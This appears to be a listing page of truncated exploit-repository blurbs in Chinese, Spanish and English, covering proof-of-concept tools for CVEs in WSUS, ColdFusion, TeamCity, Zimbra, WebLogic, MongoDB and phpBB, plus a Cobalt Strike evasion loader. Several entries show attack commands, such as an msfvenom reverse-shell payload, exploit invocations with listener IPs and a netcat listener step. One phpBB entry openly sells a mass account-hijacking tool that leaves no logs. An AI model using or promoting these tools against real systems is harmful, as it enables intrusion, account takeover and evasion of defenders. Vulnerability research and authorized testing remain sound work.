cve-2025-59287

CVE-2025-59287 - WSUS Exploitation Toolkit by adel-h4x0a ⚠️ For Educational and Authorized Testing Purposes Only ⚠️ Overview This toolkit demonstrates the exploitation of CVE-2025-59287, a remote code execution vulnerability in Windows Server Update Services WSUS. Components 1. Encryption Module...

CVE-2023-26360-RCE

CVE-2023-26360 - ColdFusion 2021 上的远程代码执行 有时，脚本在第一次尝试时不会生效。多试几次即可 如何执行 使用 msfvenom 创建载荷 root@kitploit: msfvenom -p java/shellreversetcp LHOST=192.168.56.1 LPORT=4444 file.java 启动 server.py 该服务器将在使用 cve.2023-26360.py 完成初始访问后，将载荷发送到 Coldfusion 服务器，因此需要先启动它。 root@kitploit: python3 server.py 8000 参数...

safer-eval-cve-CVE-2019-10760

safer-eval-cve-CVE-2019-10760 El siguiente exploit de prueba de concepto POC que aborda safer-eval versión 1.3.1 y anteriores es el primer payload públicamente conocido que ataca este rango de versiones. Contribución Por favor, consulta CONTRIBUTING para obtener las pautas sobre cómo contribuir a...

CVE-2023-42793

关于 CVE-2023-42793 你需要先使用另一个漏洞获取令牌。不过，下面的这个漏洞利用将允许你在Linux服务器上获得RCE（远程代码执行），因为它将payload编码在URL中并发送给服务器。 如何使用 root@kitploit: python3 ./main -t TEAMCITYTOKEN -u http://teamcity.runner.htb -p 80 -ni LISTENERIP -np LISTENERPORT...

GarbageMan

GarbageMan ¿Qué es GarbageMan? GarbageMan es un conjunto de herramientas diseñadas para el análisis del heap de .NET. Estas herramientas ofrecen las siguientes ventajas para los investigadores de malware: Capacidad para extraer rápidamente carga útil en texto claro PE Images, etc. de los heaps de...

cve-2018-6574-payload

cve-2018-6574-payload...

CVE-2022-38725

CVE-2022-38725 CVE-2022-38725 是 syslog-ng 3.38.1 之前版本中的一个未经认证的拒绝服务漏洞。 https://github.com/syslog-ng/syslog-ng/security/advisories/GHSA-7932-4fc6-pvmc https://nvd.nist.gov/vuln/detail/CVE-2022-38725 复现步骤 1. 拉取一个存在漏洞的 Docker 镜像： root@kitploit: docker pull linuxserver/syslog-ng:3.36.1 2. 运行一个存在漏洞的...

Zimbra-RCE

Zimbra-RCE Zimbra远程代码执行 CVE-2019-9670 root@kitploit: $ ./zimbra.py -h . . \ /|| \ | \ \ \ / / / | |/ | \ \ \ | / \ / | / / | | Y Y \ \ \ | // \ | | \ | \ / |||| / /| / || /\ / / / / / / / / / usage: zimbra.py -h -u URL -d DTD -n PAYLOADNAME -f PAYLOADFILE Zimbra RCE CVE-2019-9670...

CVE-2026-43499_OPPO-MT6835

CVE-2026-43499 / OPPO MT6835 的 GhostLock PoC 本仓库保存了针对基于 OPPO MT6835 的设备的 GhostLock 风格漏洞利用链的紧凑研究快照。 范围 exploit 目录下的漏洞利用源码树 poc 目录下的最小概念验证（PoC） 调查期间生成的配套分析笔记与构建产物 包含内容 针对 CVE-2026-43499 工作流的共享 Android 漏洞利用实现 针对 OPPO PLS120 / MT6835 调查的目标特定配置 位于 exploit/build/oppo-PLS120-BP2A.250605.015/bin/preload....

react-ssr-vulnerability

CVE-2025-55182 - React Server Components RCE 概念验证 本 POC 仅供教育和安全研究使用。该漏洞已在受影响包的最新版本中得到修复。请仅在您拥有或已获得明确测试许可的系统上使用此工具。对于因使用本工具而产生的任何法律行为，本人概不负责。 Payload 构造 该利用工具创建了一个特制的 JSON 对象，滥用 JavaScript 的原型链： root@kitploit: "then": "$1:proto:then", // 污染原型链 "status": "resolvedmodel", "reason": -1, "value":...

PoC-CVE-2019-1003030

PoC de Bypass del Sandbox de Seguridad de Scripts de Jenkins 2.63 Este proyecto automatiza la creación y entrega de cargas útiles Groovy al endpoint de validación SecureGroovyScript de Jenkins utilizado por Jenkins 2.63. La herramienta admite tanto la ejecución interactiva como la de un solo uso...

CVE-2025-14847

mongoExploit CVE-2025-14847 mongoExploit 是一个针对 CVE-2025-14847 的概念验证（PoC）利用工具，该漏洞是 MongoDB 中的一个内存泄漏漏洞。 该工具利用 zlib 解压缩中的缺陷，通过 BSON 字段名泄漏服务器内存。通过构造一个包含膨胀文档长度的 BSON 负载，它会强制服务器从泄漏的内存中读取字段名，直到遇到空字节为止。 ⚠️ 免责声明 此工具仅用于教育和授权的安全测试目的。 作者不对该工具的任何滥用行为负责。请勿对未经明确授权的系统使用此工具。 功能特性 扫描一段偏移范围以泄漏内存片段。 将泄漏的数据保存为二进制文件。...

CS-MemoryEvasion

MemoryEvasion Un cargador de evasión de memoria de Cobalt Strike para redteamers, compatible con payloads x86/x64 stager/stagerless con perfil probado en windows7/10, winserver 2012 ¿Cómo evita? Engancha las funciones Sleep, CreateProcessA, CreateHeap y GetProcessHeap antes de que el shellcode se...

CVE-2019-2725

CVE-2019-2725 WebLogic Universal Exploit - CVE-2017-3506 / CVE-2017-10271 / CVE-2019-2725 / CVE-2019-2729 constructor de payloads y exploit Información / Ayuda root@kitploit: $ python3 weblogicexploit.py -h ======================================================================== | WebLogic...

CVE-2023-46604

CVE-2023-46604 Build a docker-compose containing 2 images: the victim machine and the target machine, according to the required environment. On the victim machine, start ActiveMQ Switch to the attacker machine: • Start an HTTP service to send the PoC: python3 -m http.server • Use netcat to listen...

CVE-2004-2271-MiniShare-1.4.1-Buffer-Overflow

CVE 2004-2271 MiniShare-1.4.1-缓冲区溢出 https://vulners.com/cve/CVE-2004-2271 用法在文件中，自动生成msfvenom payload，因为我懒。 移植自： https://www.exploit-db.com/exploits/636/ https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/http/minisharegetoverflow.rb 许可证： 不要用此做任何非法的事情，否则可以自由编辑/重新上...

cve-2019-9978

cve-2019-9978 This is a script that allows exploiting the CVE-2019-9978 vulnerability in a straightforward manner, intended for use in Capture The Flag CTF challenges or as a proof of concept for penetration testing. Prerequisites Python 3 Requests library Install with pip install requests Usage ...

CVE-2024-54951

Monica-Stored-XSS-Vulnerability CVE-2024-54951 CVE-2024-54951 I contacted the monica development team via email on 11/20/2024. I also contacted them via LinkedIn through connection message attempt, and other platforms in the weeks that followed. Publishing here since there was no response after 3...

CVE-2022-21894-Payload-New

这是一个针对CVE-2022-21894的简单示例载荷，展示了攻击者如何映射第二阶段载荷以便调用EFI服务。 此漏洞的详细分析可在此处查看：https://github.com/Wack0/CVE-2022-21894。 本仓库中的代码扩展了上述仓库的PoC（pocamd6419041）。...

CVE-2026-48611-EXPLOIT

CVE-2026-48611 – phpBB OAuth 账户劫持漏洞利用 未认证账户接管 | CVSS 9.4 严重 | 开箱即用 🔥 你将获得 针对 CVE-2026-48611 的功能完整 Python 漏洞利用脚本 批量扫描器 — 自动检测数千个目标 CSRF 载荷生成器 — 创建用于账户劫持的 HTML 文件 返回存在漏洞的目标 ，并附带版本和 OAuth 提供商信息 适用于开启 OAuth 的 phpBB 3.3.0 至 3.3.16 （Google、Facebook、Bitly） 默认静默、干净，不留下日志 ⚡ 为什么选择我们 已在 878+ 个存在漏洞的目标 上测试...